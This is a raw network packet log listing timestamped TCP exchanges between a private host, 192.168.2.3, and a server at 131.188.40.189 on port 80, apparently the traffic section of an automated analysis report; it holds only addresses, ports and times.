Dec 11, 2022 09:25:08.376410961 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.376454115 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.376487017 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.376508951 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.376513004 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.376553059 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.376595020 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.376636982 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.376679897 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.376723051 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.376770020 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.376776934 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.376800060 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.376816034 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.376864910 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.376929998 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.376977921 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.377019882 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.377065897 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.377111912 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.377130985 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.377141953 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.377172947 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.377194881 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.377217054 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.377259016 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.377304077 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.377346992 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.377374887 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.377388954 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.377398014 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.377432108 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.377474070 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.377516985 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.377561092 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.377562046 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.377593040 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.377604008 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.377646923 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.377690077 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.377732038 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.377773046 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.377815008 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.377856970 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.377898932 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.377907038 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.377929926 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.377943039 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.377985001 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.378027916 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.378062963 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.378073931 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.378086090 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.378118038 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.378170013 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.378372908 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.398139954 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.398206949 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.398252964 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.398296118 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.398344040 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.398375988 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.398386955 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.398431063 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.398438931 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.398494959 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.398544073 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.398559093 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.398607969 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.398652077 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.398665905 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.398698092 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.398741007 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.398742914 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.398785114 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.398827076 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.398828030 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.398873091 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.398946047 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.398948908 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.398991108 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.399034023 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.399034977 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.399080038 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.399122953 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.399127007 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.399167061 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.399209023 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.399209976 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.399251938 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.399293900 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.399297953 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.399337053 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.399379969 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.399379969 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.399420977 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.399426937 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.399463892 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.399506092 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.399507046 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.399549961 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.399591923 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.399595022 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.399635077 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.399676085 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.399683952 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.399719000 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.399760962 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.399761915 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.399811983 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.399856091 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.399857044 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.399898052 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.399941921 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.399949074 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.399985075 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.400027037 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.400047064 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.400072098 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.400114059 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.400120974 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.400156975 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.400199890 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.400203943 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.400242090 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.400285006 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.400291920 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.400326967 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.400368929 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.400377035 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.441484928 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:08.692892075 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:08.696553946 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.192828894 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.192965984 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.723016977 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.743458033 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.743522882 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.743556976 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.743602037 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.743634939 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.743642092 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.743669033 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.743684053 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.743704081 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.743736982 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.743756056 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.743777037 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.743812084 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.743815899 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.743952990 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.763847113 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.763911009 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.763951063 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.763993979 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.764029026 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.764034986 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.764064074 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.764076948 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.764097929 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.764142036 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.764163017 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.764197111 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.764203072 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.764236927 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.764271975 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.764272928 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.764272928 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.764306068 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.764339924 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.764341116 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.764373064 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.764420033 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.764453888 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.764482021 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.764487982 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.764523983 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.764529943 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.764559031 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.764561892 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.764700890 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.784560919 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.784606934 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.784662962 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.784697056 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.784723997 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.784728050 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.784759045 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.784770966 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.784795046 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.784826994 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.784830093 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.784862995 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.784912109 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.784939051 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.784945011 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.784957886 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.784981012 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.785013914 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.785058975 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.785084009 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.785094976 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.785105944 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.785130978 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.785166025 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.785200119 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.785200119 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.785234928 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.785268068 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.785316944 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.785351038 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.785358906 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.785384893 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.785429001 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.785454035 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.785464048 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.785496950 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.785533905 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.785541058 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.785567045 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.785576105 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.785610914 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.785651922 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.785685062 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.785686016 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.785721064 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.785751104 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.785756111 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.785790920 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.785816908 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.785824060 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.785851955 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.785860062 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.785895109 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.785928011 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.785933971 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.785962105 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.785998106 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.786029100 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.786154985 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.806217909 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.806286097 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.806320906 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.806365013 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.806397915 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.806400061 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.806433916 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.806440115 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.806468010 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.806502104 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.806512117 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.806535959 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.806571007 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.806576014 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.806605101 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.806649923 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.806674957 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.806684017 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.806690931 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.806719065 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.806751966 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.806786060 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.806797981 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.806819916 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.806830883 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.806854010 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.806916952 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.806950092 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.806984901 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.806996107 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.807010889 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.807019949 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.807055950 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.807100058 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.807133913 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.807136059 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.807156086 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.807168007 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.807204008 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.807250977 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.807275057 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.807292938 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.807316065 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.807327032 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.807360888 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.807394028 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.807394981 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.807427883 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.807461977 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.807466984 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.807501078 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.807523012 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.807528019 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.807562113 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.807595015 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.807595015 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.807627916 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.807656050 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.807662964 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.807696104 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.807728052 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.807735920 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.807760954 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.807794094 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.807807922 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.807826996 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.807854891 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.807859898 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.807892084 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.807934046 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.807944059 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.807969093 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.807985067 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.808012962 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.808043957 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.808085918 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.808113098 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.808119059 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.808132887 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.808151960 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.808192015 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.808211088 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.808238983 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.808271885 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.808314085 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.808337927 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.808347940 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.808363914 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.808382988 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.808417082 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.808449030 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.808459997 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.808482885 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.808502913 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.808516026 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.808549881 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.808592081 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.808609009 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.808626890 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.808643103 CET	49692	80	192.168.2.3	131.188.40.189
